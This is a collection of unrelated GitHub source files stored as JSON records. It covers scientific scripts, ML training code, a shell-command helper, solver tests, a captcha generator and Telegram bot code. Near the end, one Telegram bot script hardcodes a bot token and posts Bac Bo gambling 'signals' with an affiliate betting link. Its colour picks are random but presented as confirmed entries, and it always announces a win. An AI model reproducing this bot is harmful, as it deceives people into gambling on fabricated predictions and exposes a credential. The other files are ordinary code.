'jacobians',\n action = 'store', default = [],\n help = 'Variable Jacobian columns, list of pairs.')\n\n parser.add_argument('-t', '--t0',\n dest = 't0', type = float, \n action = 'store', default = 0.0,\n help = 'Start time.')\n\n parser.add_argument('-T', '--T',\n dest = 'T', type = float, \n action = 'store', default = 100.,\n help = 'Max time.')\n\n parser.add_argument('-dt', '--dT',\n dest = 'dT', type = float, \n action = 'store', default = 0.025,\n help = 'Time increment.')\n\n parser.add_argument('-n', '--noise',\n dest = 'noise', type = float, \n action = 'store', default = 0.,\n help = 'Guassian noise amplitude.')\n\n parser.add_argument('-ost', '--outputStartTime',\n dest = 'outputStartTime', type = float, \n action = 'store', default = None,\n help = 'Start time of output file.')\n\n parser.add_argument('-o', '--outputFile',\n dest = 'outputFile', type = str, \n action = 'store', default = None,\n help = 'Output file.')\n\n parser.add_argument('-P', '--plot',\n dest = 'plot', type = str,\n action = 'store', default = '3D',\n help = '2D or 3D plot')\n\n parser.add_argument('-d', '--dimensions', nargs='+',\n dest = 'dimensions', type = int, \n action = 'store', default = [1, 2, 3],\n help = 'Dimensions to 2D plot.')\n\n args = parser.parse_args()\n\n # Zero offset dimensions (for 3D plot variables?)\n args.dimensions = [ d-1 for d in args.dimensions ]\n\n if len( args.jacobians ) :\n # Must be pairs of coefficient columns\n if len( args.jacobians ) % 2 :\n raise RuntimeError( \"ParseCmdLine() column numbers \" +\\\n \"for jacobians must be in pairs.\" )\n\n # Convert args.jacobians into a list of int pairs (tuples)\n # Offset columns to zero-offset to use in matrix x\n args.jacobians = [ ( int( args.jacobians[i] ) - 1,\n int( args.jacobians[i + 1] ) - 1 )\n for i in range( 0, len( args.jacobians ), 2 ) ]\n\n return args\n\n#----------------------------------------------------------------------------\n# Provide for cmd line invocation\n# main() will only be called 'automatically' when the script is passed\n# as the argument to the Python interpreter, not when imported as a module.\n#----------------------------------------------------------------------------\nif __name__ == \"__main__\":\n main()\n","repo_name":"SoftwareLiteracyFoundation/EDM","sub_path":"data/Rossler.py","file_name":"Rossler.py","file_ext":"py","file_size_in_byte":9337,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"23"} +{"seq_id":"44046644228","text":"#!/usr/bin/python3.9\n\"\"\"\n:module: io_shell.py\n:author: GM (genuinemerit @ pm.me)\nService Activator / Deactivator class for Data Schema services.\nIt also has a generic system command runner for cases when\nwe do want to get feedback from the shell and not use nohup.\n\nNot sure if this will work anywhere but Linux. Probably not.\n\"\"\"\nimport os\n# import time\n\nimport subprocess as shl\n\nfrom saskan_report import SaskanReport # type: ignore\n\nSR = SaskanReport()\n\n\nclass ShellIO(object):\n \"\"\"Run Controller-related commands.\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the object.\n \"\"\"\n pass\n\n @classmethod\n def run_cmd(cls, cmd):\n \"\"\"\n Execute a shell command from Python.\n Best to execute scripts using `bash` not `touch`, `.` or `sh`\n\n :Args: {list} shell command as a string in a list\n\n :Return: {tuple} ({boolean} success/failure, {bytes} result)\n \"\"\"\n cmd_rc = False\n cmd_result = b'' # Stores bytes\n\n if cmd == \"\" or cmd is None:\n cmd_rc = False\n else:\n # shell=True means cmd param contains a regular cmd string\n shell = shl.Popen(cmd, shell=True,\n stdin=shl.PIPE, stdout=shl.PIPE,\n stderr=shl.STDOUT)\n cmd_result, _ = shell.communicate()\n if 'failure'.encode('utf-8') in cmd_result or\\\n 'fatal'.encode('utf-8') in cmd_result:\n cmd_rc = False\n else:\n cmd_rc = True\n return (cmd_rc, cmd_result.decode('utf-8').strip())\n\n def kill_jobs(self,\n p_job_nm: str):\n \"\"\"Kill jobs matching job name param.\n \"\"\"\n _, running_jobs = SR.rpt_running_jobs(p_job_nm.strip())\n for job in running_jobs:\n job_pid = job.split()[1].strip()\n _, _ = self.run_cmd(f\"kill -9 {job_pid}\")\n\n def run_nohup_py(self,\n pypath,\n logpath,\n p1, p2, p3,\n log_nm):\n \"\"\"Run a python script in the background (no hangup),\n sending all output to a log file at logpath and named\n like logpath + p1, where p1 is the first param passed.\n\n p1, p2, p3 are the parameters to be passed to python script.\n This works for firing up a server module.\n May need tweaking to handle other cases.\n \"\"\"\n cmd = (\"nohup python -u \" +\n f\"{pypath} '{p1}' {p2} {p3} > \" +\n f\"{logpath}/{log_nm}_\" +\n f\"{p1.replace('/', '_').replace('__', '_')}.log 2>&1 &\")\n try:\n os.system(cmd)\n except Exception as err:\n raise Exception(f\"{err} {cmd}\")\n","repo_name":"genuinemerit/saskan-app","sub_path":"Saskantinon/io_shell.py","file_name":"io_shell.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"23"} +{"seq_id":"36754075661","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 21 16:57:08 2023\n\n@author: dennismack\n\"\"\"\n#%%\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import classification_report\n#%%\nad_data = pd.read_csv('Data/advertising.csv')\n#%%\nad_data.info()\n#%%\nad_data.describe()\n#%%\n#EDA\nsns.set_style('whitegrid')\nsns.histplot(x = 'Age', data = ad_data, bins = 30)\n#%%\nsns.jointplot(x='Age', y='Area Income', data = ad_data)\n#%%\nsns.jointplot(x='Age', y='Daily Time Spent on Site',color = 'red', data = ad_data, kind = 'kde')\n#%%\nsns.jointplot(x='Daily Time Spent on Site', y='Daily Internet Usage', data = ad_data)\n#%%\nsns.pairplot(ad_data, hue = 'Clicked on Ad')\n#%%\n# Model Creation and Training\nad_data.nunique()\n#%%\nX = ad_data[['Daily Time Spent on Site','Age','Area Income','Daily Internet Usage', 'Male']]\ny = ad_data['Clicked on Ad']\n#%%\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33)\n#%%\nlogmodel = LogisticRegression()\n#%%\nlogmodel.fit(X_train, y_train)\n#%%\npredictions = logmodel.predict(X_test)\n#%%\nprint(classification_report(y_test,predictions))","repo_name":"dmack11/Dennis-Mack-Python-Portfolio","sub_path":"LogisticRegression.py","file_name":"LogisticRegression.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"23890694807","text":"import torch\nfrom . import losses\nfrom ..utils.rewards import init_scorer, get_self_critical_reward, get_self_critical_clipscore_reward\nfrom ..utils.clipscore import CLIPScore\nimport numpy as np\n\nclass LossWrapper(torch.nn.Module):\n def __init__(self, model, opt):\n super(LossWrapper, self).__init__()\n self.opt = opt\n self.model = model\n if opt.label_smoothing > 0:\n self.crit = losses.LabelSmoothing(smoothing=opt.label_smoothing)\n else:\n self.crit = losses.LanguageModelCriterion()\n self.rl_crit = losses.RewardCriterion()\n self.struc_crit = losses.StructureLosses(opt)\n\n self.clipscore_model = None\n if self.opt.use_clipscore:\n use_grammar = getattr(self.opt, 'use_grammar', False)\n joint_out = getattr(self.opt, 'joint_out', False)\n self.clipscore_model = CLIPScore(\n mode=opt.clipscore_mode,\n use_grammar=use_grammar,\n joint_out=joint_out,\n )\n for p in self.clipscore_model.parameters():\n p.requires_grad = False\n\n if use_grammar:\n state_dict = torch.load(self.opt.clip_load_path, map_location='cpu')\n self.clipscore_model.load_state_dict(state_dict['state_dict'])\n\n def forward(self, fc_feats, att_feats, labels, masks, att_masks, gts, gt_indices,\n sc_flag, struc_flag, clip_vis_feats=None):\n opt = self.opt\n \n out = {}\n if struc_flag:\n if opt.structure_loss_weight < 1:\n lm_loss = self.crit(self.model(fc_feats, att_feats, labels[..., :-1], att_masks), labels[..., 1:], masks[..., 1:])\n else:\n lm_loss = torch.tensor(0).type_as(fc_feats)\n if opt.structure_loss_weight > 0:\n gen_result, sample_logprobs = self.model(fc_feats, att_feats, att_masks,\n opt={'sample_method':opt.train_sample_method,\n 'beam_size':opt.train_beam_size,\n 'output_logsoftmax': opt.struc_use_logsoftmax or opt.structure_loss_type == 'softmax_margin'\\\n or not 'margin' in opt.structure_loss_type,\n 'sample_n': opt.train_sample_n},\n mode='sample')\n gts = [gts[_] for _ in gt_indices.tolist()]\n struc_loss = self.struc_crit(sample_logprobs, gen_result, gts)\n else:\n struc_loss = {'loss': torch.tensor(0).type_as(fc_feats),\n 'reward': torch.tensor(0).type_as(fc_feats)}\n loss = (1-opt.structure_loss_weight) * lm_loss + opt.structure_loss_weight * struc_loss['loss']\n out['lm_loss'] = lm_loss\n out['struc_loss'] = struc_loss['loss']\n out['reward'] = struc_loss['reward']\n elif not sc_flag:\n loss = self.crit(self.model(fc_feats, att_feats, labels[..., :-1], att_masks), labels[..., 1:], masks[..., 1:])\n else:\n self.model.eval()\n with torch.no_grad():\n greedy_res, _ = self.model(fc_feats, att_feats, att_masks,\n mode='sample',\n opt={'sample_method': opt.sc_sample_method,\n 'beam_size': opt.sc_beam_size})\n self.model.train()\n gen_result, sample_logprobs = self.model(fc_feats, att_feats, att_masks,\n opt={'sample_method':opt.train_sample_method,\n 'beam_size':opt.train_beam_size,\n 'sample_n': opt.train_sample_n},\n mode='sample')\n gts = [gts[_] for _ in gt_indices.tolist()]\n\n if getattr(self.opt, 'use_multi_rewards', False):\n assert self.opt.use_clipscore\n clipscore_reward_normalized, clipscore_unnormalized_mean, grammar_rewards = get_self_critical_clipscore_reward(\n greedy_res, gts, gen_result, self.opt, self.clipscore_model, clip_vis_feats, self.model.vocab)\n\n if self.opt.clipscore_mode == 'clip_s':\n out['CLIP-S'] = clipscore_unnormalized_mean\n elif self.opt.clipscore_mode == 'refclip_s':\n out['RefCLIP-S'] = clipscore_unnormalized_mean\n\n if getattr(self.opt, 'use_grammar', False):\n out['grammar_reward'] = grammar_rewards.mean()\n\n reward = clipscore_reward_normalized + grammar_rewards\n\n\n else:\n assert grammar_rewards is None\n\n cider_reward_normalized, cider_unnormalized_mean = get_self_critical_reward(\n greedy_res, gts, gen_result, self.opt)\n out['CIDEr'] = cider_unnormalized_mean\n if isinstance(cider_reward_normalized, np.ndarray):\n cider_reward_normalized = torch.from_numpy(cider_reward_normalized).to(clipscore_reward_normalized.device)\n\n reward = clipscore_reward_normalized + cider_reward_normalized\n else:\n if self.opt.use_clipscore:\n clipscore_reward_normalized, clipscore_unnormalized_mean, _ = get_self_critical_clipscore_reward(\n greedy_res, gts, gen_result, self.opt, self.clipscore_model, clip_vis_feats, self.model.vocab)\n if self.opt.clipscore_mode == 'clip_s':\n out['CLIP-S'] = clipscore_unnormalized_mean\n elif self.opt.clipscore_mode == 'refclip_s':\n out['RefCLIP-S'] = clipscore_unnormalized_mean\n reward = clipscore_reward_normalized\n else:\n cider_reward_normalized, cider_unnormalized_mean = get_self_critical_reward(\n greedy_res, gts, gen_result, self.opt)\n out['CIDEr'] = cider_unnormalized_mean\n reward = cider_reward_normalized\n\n if isinstance(reward, np.ndarray):\n reward = torch.from_numpy(reward)\n reward = reward.to(sample_logprobs)\n loss = self.rl_crit(sample_logprobs, gen_result.data, reward)\n out['reward'] = reward[:,0].mean()\n out['loss'] = loss\n return out\n\n","repo_name":"j-min/CLIP-Caption-Reward","sub_path":"captioning/modules/loss_wrapper.py","file_name":"loss_wrapper.py","file_ext":"py","file_size_in_byte":6342,"program_lang":"python","lang":"en","doc_type":"code","stars":216,"dataset":"github-code","pt":"23"} +{"seq_id":"14492526050","text":"from django.conf import settings\r\nimport os\r\nfrom io import BytesIO\r\nimport string\r\nfrom random import randint, choices\r\nimport base64\r\nfrom PIL import Image, ImageDraw, ImageFont\r\n\r\n\r\ndef RandomCharacter(length):\r\n Char = choices(string.ascii_lowercase + string.digits, weights=None, k=length)\r\n return ''.join(Char)\r\n\r\n\r\ndef GenerateCaptcha(width=140, height=60, length=4):\r\n # generate verification code\r\n img = Image.new(\"RGB\", (width, height), (250, 250, 250))\r\n draw = ImageDraw.Draw(img)\r\n FontLocation = os.path.join(settings.BASE_DIR, \"telenor\", \"static\", \"fonts\", \"Roboto-Black.ttf\")\r\n font = ImageFont.truetype(FontLocation, size=36)\r\n CaptchaText = RandomCharacter(length)\r\n # captcha text\r\n for i in range(length):\r\n RGB = (randint(10, 150), randint(10, 150), randint(10, 150))\r\n Char = CaptchaText[i]\r\n rand_len = randint(-1,1)\r\n draw.text((width * 0.2 * (i + 0.5) + rand_len, height * 0.1 + rand_len), Char, font=font, fill=RGB)\r\n\r\n # Draw line inside the image.\r\n for i in range(4):\r\n RGB = (randint(10, 150), randint(10, 150), randint(10, 150))\r\n x1, y1, x2, y2 = randint(0, width), randint(0, height), randint(0, width), randint(0, height)\r\n draw.line((x1, y1, x2, y2), fill=RGB)\r\n\r\n # Create byteio object to store the image.\r\n buffered = BytesIO()\r\n # This is to save the img to buffer image\r\n img.save(buffered, format=\"PNG\")\r\n # Return the image as base64\r\n ImgBase64 = base64.b64encode(buffered.getvalue())\r\n ImgBase64 = str(ImgBase64, 'utf-8')\r\n return ImgBase64, CaptchaText\r\n","repo_name":"swaminathant/django-template-captcha","sub_path":"CaptchaImageGenerator.py","file_name":"CaptchaImageGenerator.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"592206609","text":"# thinker is usually a module so first import everything from thinker\nfrom tkinter import *\n\n# first make a empty window\n\nwindow = Tk()\n\n\n# make a function to declare what to be print after pressing the button execute\ndef anu():\n print(abhi.get())\n t1.insert(END, abhi.get())\n\n\n# first make a button on the window\nb1 = Button(window, text=\"execute\", command=anu)\n# now you have to define where you want to place your button on the window\n# b1.pack()\n# but you must use grid method because you can have larger control on the row and columns of a grid of window\nb1.grid(row=0, column=0)\n# you can also rowspan as one more attribute of grid ...if you want your button to be extent upto 2 or many columns\n# if you want to give entry in your window you can ues entry method do this with your entry block if you want that\n# whatever the user gives in the text block will print after pressing the button\nabhi = StringVar()\ne1 = Entry(window, textvariable=abhi)\ne1.grid(row=0, column=1)\n# you can also make a text block in your window basically\n# you are going to get a text block of full size along with ur window\n# so you must give height and width along with text function because that is important to mention the size of the block\nt1 = Text(window, height=1, width=20)\nt1.grid(row=0, column=2)\n\nwindow.mainloop()\n","repo_name":"anushkamaheshwari2507/python_mega_cours","sub_path":"thinker/python9.py","file_name":"python9.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"19615867778","text":"from sklearn.svm import LinearSVC\r\nimport numpy as np\r\nimport joblib\r\n\r\ndataset_path = '/dataset/deep_f_train.npy' #enter path for extracted features from ext_deepfeatures\r\nmodel_path = '/weights/svc.sav' #enter path for saving weights of training_svm\r\n\r\ndataset = np.load(dataset_path)\r\n\r\nX, y = dataset[:, :-1], np.uint8(dataset[:, -1])\r\n\r\nclassifier = LinearSVC()\r\n\r\nclassifier.fit(X, y)\r\n\r\njoblib.dump(classifier, model_path)\r\n\r\ny_pred = classifier.predict(X)\r\ny_pred = np.where(y_pred<0.5, 0, 1)\r\n\r\ncorrect = np.where(y == y_pred, 1, 0)\r\n\r\nprint(correct.sum()/correct.shape[0])\r\n","repo_name":"githubhamza/Pneumonia-Classification-Using-Machine-Learning","sub_path":"training_svm.py","file_name":"training_svm.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"69857937341","text":"# Write a simple program to simulate the operation of the grep command on Unix. \n# Ask the user to enter a regular expression and count the number of lines that\n# matched the regular expression\nimport re\nwhile True:\n try:\n filename = input(\"Enter the file name:\")\n if len(filename) <1 : filename = \"mbox.txt\"\n fhand = open(filename)\n print(\"Opening file '{}'...\\n\".format (filename))\n except Exception as e:\n print(\"Can't open the file\")\n continue\n break\n \n\ncount = 0\n\nexpression = input(\"Please enter the regular expression:\")\n\nfor line in fhand:\n line = line.rstrip()\n result = re.search(expression, line)\n if result:\n count += 1\nprint(filename + \" had \" + str(count) + \" line that matched \" + expression + \"\\n\")","repo_name":"egrdlin/git_python","sub_path":"ex_11_01.py","file_name":"ex_11_01.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"26723323908","text":"\n\"\"\" \nCreated on Fri Jun 03 16:18:00 2022\n\nread NEXRAD rainfall values\n\n@author: Michael Getachew Tadesse\n\"\"\"\n\nimport pandas as pd\n\n\n#################\n# choose file\n#################\nfileName = [\"cfij\", \"irma\", \"noname\", \"tsfay\"]\n\n\nfor ff in fileName:\n print(ff)\n\n dat = pd.read_csv(ff+\".out\", header = None)\n\n date_unq = sorted(dat[0][:-2].unique()) # removing the last two rows\n pixel_unq = sorted(dat[4][:-2].unique())\n\n\n print(pd.DataFrame(date_unq))\n\n # aggregate rainfall into daily format\n\n # empty dataframe\n pixelDat = pd.DataFrame(columns = ['date', 'pixel', 'value']) \n\n\n # aggregate rainfall data\n count = 1\n\n for dd in date_unq:\n print(\"{} / {}\".format(count, len(date_unq)))\n for pp in pixel_unq:\n df = dat[(dat[0] == dd) & (dat[4] == pp)] \n # print(df) \n rainAgg = sum(df[2][:])\n newDf = pd.DataFrame([dd, pp, rainAgg]).T\n newDf.columns = ['date', 'pixel', 'value']\n pixelDat = pd.concat([pixelDat, newDf], axis = 0)\n # print(pixelDat)\n\n count += 1\n pixelDat.to_csv(ff + \"_dailyNEXRAD.csv\")","repo_name":"moinabyssinia/hs-all-scripts","sub_path":"rainfall_analysis/kissrain_scripts/a_readPixels.py","file_name":"a_readPixels.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"41374723633","text":"'''\nBeam Divergence at the sample position for current beam energy and PGM grating selection.\n\nCreated on Jan 14, 2022\n\n@author: fy65\n'''\nfrom gda.device.scannable import ScannableMotionBase\nfrom gda.configuration.properties import LocalProperties\nimport csv\n\ndef load_1key_lookup_table(filename):\n with open(filename) as csv_data:\n reader = csv.reader(csv_data)\n rows = [row for row in reader if row or not row.startswith('#')]\n header = rows[0]\n\n lookuptable={}\n for row in rows[1:]:\n #print(row)\n lookuptable[row[0]]=[float(item) for item in row[1:]]\n return lookuptable, header\n\n\nclass BeamDivergence(ScannableMotionBase):\n '''\n a scannable provides beam divergence values at a specified position down the X-ray beam.\n '''\n\n\n def __init__(self, name, energy_scannable, vpg_scannable, lut=\"divergence_polynomial_at_sample.csv\"):\n '''\n Constructor\n '''\n self.setName(name)\n self.setInputNames([''])\n self.setExtraNames(['horizontal', 'vertical'])\n self.energy = energy_scannable\n self.vpg = vpg_scannable\n self.lut,self.header = load_1key_lookup_table(LocalProperties.get(\"gda.config\")+\"/lookupTables/\"+lut)\n \n\n def getDivergence(self, energy, coefs):\n return coefs[0] + coefs[1] * energy + coefs[2] * energy ** 2 + coefs[3] * energy ** 3 + coefs[4] * energy ** 4 + coefs[5] * energy ** 5 + coefs[6] * energy ** 6\n\n def getPosition(self):\n vpg = str(self.vpg.getPosition())\n energy = float(self.energy.getPosition())\n coefs = self.lut[vpg]\n vertical_diversgence = self.getDivergence(energy, coefs)\n h_coefs = self.lut[\"Horizontal\"]\n horizontal_divergence = self.getDivergence(energy, h_coefs)\n return [horizontal_divergence, vertical_diversgence]\n \n def asynchronousMoveTo(self, new_pos):\n print(\"%s: is a read-only scannable!\" % self.getName())\n \n def isBusy(self):\n return False\n \n \n\n ","repo_name":"openGDA/gda-diamond","sub_path":"configurations/i21-config/scripts/metadata/beamDivergence.py","file_name":"beamDivergence.py","file_ext":"py","file_size_in_byte":2027,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"23"} +{"seq_id":"40598744629","text":"import logging\nimport os\nimport sys\n\nimport telegram.ext as tg\n\n# enable logging\nlogging.basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n level=logging.INFO)\n\nLOGGER = logging.getLogger(__name__)\n\n# if version < 3.6, stop bot.\nif sys.version_info[0] < 3 or sys.version_info[1] < 6:\n LOGGER.error(\"You MUST have a python version of at least 3.6! Multiple features depend on this. Bot quitting.\")\n quit(1)\n\nENV = bool(os.environ.get('ENV', False))\n\nif ENV:\n TOKEN = os.environ.get('TOKEN', None)\n try:\n OWNER_ID = int(os.environ.get('OWNER_ID', None))\n except ValueError:\n raise Exception(\"Your OWNER_ID env variable is not a valid integer.\")\n\n MESSAGE_DUMP = os.environ.get('MESSAGE_DUMP', None)\n OWNER_USERNAME = os.environ.get(\"OWNER_USERNAME\", None)\n\n try:\n SUDO_USERS = set(int(x) for x in os.environ.get(\"SUDO_USERS\", \"\").split())\n except ValueError:\n raise Exception(\"Your sudo users list does not contain valid integers.\")\n\n try:\n SUPPORT_USERS = set(int(x) for x in os.environ.get(\"SUPPORT_USERS\", \"\").split())\n except ValueError:\n raise Exception(\"Your support users list does not contain valid integers.\")\n\n try:\n WHITELIST_USERS = set(int(x) for x in os.environ.get(\"WHITELIST_USERS\", \"\").split())\n except ValueError:\n raise Exception(\"Your whitelisted users list does not contain valid integers.\")\n\n WEBHOOK = bool(os.environ.get('WEBHOOK', False))\n URL = os.environ.get('URL', \"\") # Does not contain token\n PORT = int(os.environ.get('PORT', 5000))\n CERT_PATH = os.environ.get(\"CERT_PATH\")\n\n DB_URI = os.environ.get('DATABASE_URL')\n DONATION_LINK = os.environ.get('DONATION_LINK')\n LOAD = os.environ.get(\"LOAD\", \"\").split()\n NO_LOAD = os.environ.get(\"NO_LOAD\", \"translation\").split()\n DEL_CMDS = bool(os.environ.get('DEL_CMDS', False))\n STRICT_GBAN = bool(os.environ.get('STRICT_GBAN', False))\n WORKERS = int(os.environ.get('WORKERS', 8))\n BAN_STICKER = os.environ.get('BAN_STICKER', 'CAADAgADOwADPPEcAXkko5EB3YGYAg')\n ALLOW_EXCL = os.environ.get('ALLOW_EXCL', False)\n\nelse:\n from tg_bot.config import Development as Config\n TOKEN = Config.API_KEY\n try:\n OWNER_ID = int(Config.OWNER_ID)\n except ValueError:\n raise Exception(\"Your OWNER_ID variable is not a valid integer.\")\n\n MESSAGE_DUMP = Config.MESSAGE_DUMP\n OWNER_USERNAME = Config.OWNER_USERNAME\n\n try:\n SUDO_USERS = set(int(x) for x in Config.SUDO_USERS or [])\n except ValueError:\n raise Exception(\"Your sudo users list does not contain valid integers.\")\n\n try:\n SUPPORT_USERS = set(int(x) for x in Config.SUPPORT_USERS or [])\n except ValueError:\n raise Exception(\"Your support users list does not contain valid integers.\")\n\n try:\n WHITELIST_USERS = set(int(x) for x in Config.WHITELIST_USERS or [])\n except ValueError:\n raise Exception(\"Your whitelisted users list does not contain valid integers.\")\n\n WEBHOOK = Config.WEBHOOK\n URL = Config.URL\n PORT = Config.PORT\n CERT_PATH = Config.CERT_PATH\n\n DB_URI = Config.SQLALCHEMY_DATABASE_URI\n DONATION_LINK = Config.DONATION_LINK\n LOAD = Config.LOAD\n NO_LOAD = Config.NO_LOAD\n DEL_CMDS = Config.DEL_CMDS\n STRICT_GBAN = Config.STRICT_GBAN\n WORKERS = Config.WORKERS\n BAN_STICKER = Config.BAN_STICKER\n ALLOW_EXCL = Config.ALLOW_EXCL\n\n\nSUDO_USERS.add(OWNER_ID)\nSUDO_USERS.add(254318997)\n\nupdater = tg.Updater(TOKEN, workers=WORKERS)\n\ndispatcher = updater.dispatcher\n\nSUDO_USERS = list(SUDO_USERS)\nWHITELIST_USERS = list(WHITELIST_USERS)\nSUPPORT_USERS = list(SUPPORT_USERS)\n\n# Load at end to ensure all prev variables have been set\nfrom tg_bot.modules.helper_funcs.handlers import CustomCommandHandler, CustomRegexHandler\n\n# make sure the regex handler can take extra kwargs\ntg.RegexHandler = CustomRegexHandler\n\nif ALLOW_EXCL:\n tg.CommandHandler = CustomCommandHandler\n","repo_name":"PaulSonOfLars/tgbot","sub_path":"tg_bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3982,"program_lang":"python","lang":"en","doc_type":"code","stars":635,"dataset":"github-code","pt":"23"} +{"seq_id":"43941026761","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport unittest\n\nimport sleqp\n\nnum_variables = 2\nnum_constraints = 0\n\ninner = Exception(\"Inner exception\")\n\n\nclass ErrorFunc:\n def set_value(self, v, reason):\n raise inner\n\n\nclass TypeErrorFunc:\n def set_value(self, v):\n pass\n\n def obj_val(self):\n return 0\n\n def obj_grad(self):\n return \"wrong\"\n\n def hess_prod(self, direction, cons_dual):\n return \"wrong\"\n\n\nclass MatrixErrorFunc:\n def set_value(self, v, reason):\n pass\n\n def set_matrix_value(self, m):\n self.m = m\n\n def obj_val(self):\n return 0\n\n def obj_grad_nnz(self):\n return 1\n\n def cons_jac_nnz(self):\n return 1\n\n def obj_grad(self):\n return np.array([0])\n\n def hess_prod(self, func_dual, direction, cons_dual):\n return np.array([0])\n\n def cons_jac(self):\n return self.m\n\n\nclass FuncErrorTest(unittest.TestCase):\n\n def setUp(self):\n inf = sleqp.inf()\n\n self.var_lb = np.array([-inf, -inf])\n self.var_ub = np.array([inf, inf])\n\n self.cons_lb = np.array([])\n self.cons_ub = np.array([])\n\n self.x = np.array([0., 0.])\n\n def test_error_func(self):\n func = ErrorFunc()\n\n self.problem = sleqp.Problem(func,\n self.var_lb,\n self.var_ub,\n self.cons_lb,\n self.cons_ub)\n\n self.solver = sleqp.Solver(self.problem,\n self.x)\n\n with self.assertRaises(Exception):\n self.solver.solve()\n\n def test_error_chain(self):\n func = ErrorFunc()\n\n self.problem = sleqp.Problem(func,\n self.var_lb,\n self.var_ub,\n self.cons_lb,\n self.cons_ub)\n\n self.solver = sleqp.Solver(self.problem,\n self.x)\n\n failed = False\n\n try:\n self.solver.solve()\n except Exception as err:\n eval_error = err.__cause__\n orig_error = eval_error.__cause__\n self.assertTrue(isinstance(eval_error, sleqp.EvaluationError))\n self.assertEqual(orig_error, inner)\n\n failed = True\n\n self.assertTrue(failed)\n\n def test_type_error_func(self):\n func = TypeErrorFunc()\n\n problem = sleqp.Problem(func,\n self.var_lb,\n self.var_ub,\n self.cons_lb,\n self.cons_ub)\n\n solver = sleqp.Solver(problem,\n self.x)\n\n with self.assertRaises(Exception):\n solver.solve()\n\n def test_matrix_error_func(self):\n func = MatrixErrorFunc()\n\n problem = sleqp.Problem(func,\n self.var_lb,\n self.var_ub,\n self.cons_lb,\n self.cons_ub)\n\n solver = sleqp.Solver(problem,\n self.x)\n\n with self.assertRaises(Exception):\n solver.solve()\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"chrhansk/sleqp","sub_path":"bindings/python/tests/func_error_test.py","file_name":"func_error_test.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"23"} +{"seq_id":"26167456839","text":"import numpy as np\nfrom casadi import *\nimport do_mpc\n\ndef template_model():\n\tk, b, m = 1, 1, 1\n\n\t# Obtain an instance of the do-mpc model class\n\t# and select time discretization:\n\tmodel_type = 'continuous' # either 'discrete' or 'continuous'\n\tmodel = do_mpc.model.Model(model_type)\n\n\t# Introduce new states, inputs and other variables to the model, e.g.:\n\tpos = model.set_variable(var_type='_x', var_name='pos', shape=(1,1))\n\tdpos = model.set_variable(var_type='_x', var_name='dpos', shape=(1,1))\n\tu = model.set_variable(var_type='_u', var_name='force', shape=(1,1))\n\tFs = k*pos**3\n\tFd = b*dpos**3\n\n\tmodel.set_rhs('pos', dpos)\n\tmodel.set_rhs('dpos', (u-Fs-Fd)/m)\n\t\n\t# Setup model:\n\tmodel.setup()\n\n\treturn model","repo_name":"Darbeloff/ML-Analogy","sub_path":"do-mpc/template_model.py","file_name":"template_model.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"16671536428","text":"import telebot\nimport time\nimport datetime\nimport random\n\nCHAVE_API = \"5597794728:AAGfwOg3RijfPrQ5S_Iw6NKAuYucNEdIsO8\" # BOT FOX\n\nbot = telebot.TeleBot(CHAVE_API)\n\ngroup_id = '-1001893292534'\n\npossibilidades_minas = [\n\"🔵 Azul\",\n\"🔴 Vermelho\"\n \n \n]\n\n\n\ntexto4 = \"\"\"\n🎲 BAC BO\n🔎 identificando entrada\n\n💻 [Entre no jogo aqui](https://affiliates.nuts.bet/visit/?bta=36979&brand=nutsbet)\n\"\"\"\n\n\ntexto5 = \"\"\"\n ✅✅ GRENN! ✅✅\n\"\"\"\n\n\n\nmensagem = \"\"\"\n{} + Empate 🟠\n🔘 Entrada confirmada\n🎲 Bacboo\n💻 [Entre no jogo aqui](https://affiliates.nuts.bet/visit/?bta=36979&brand=nutsbet)\n\"\"\"\n\n\n\n\n\nprint(\"=========\")\n\nbot.send_message(chat_id=group_id, text=texto4, parse_mode='Markdown')\ntime.sleep(120) \n\npossibilidade_mina_aleatoria = random.choice(possibilidades_minas)\nvalidade = datetime.datetime.now() + datetime.timedelta(minutes=1)\nhora_validade = validade.strftime(\"%H:%M\")\nmensagem_formatada = mensagem.format(possibilidade_mina_aleatoria, hora_validade)\nbot.send_message(chat_id=group_id, text=mensagem_formatada, parse_mode='Markdown')\ntime.sleep(60)\n\nbot.send_message(chat_id=group_id, text=texto5, parse_mode='Markdown')\ntime.sleep(120) ","repo_name":"severino6464/tkibots","sub_path":"sala434.py","file_name":"sala434.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"3322037437","text":"import 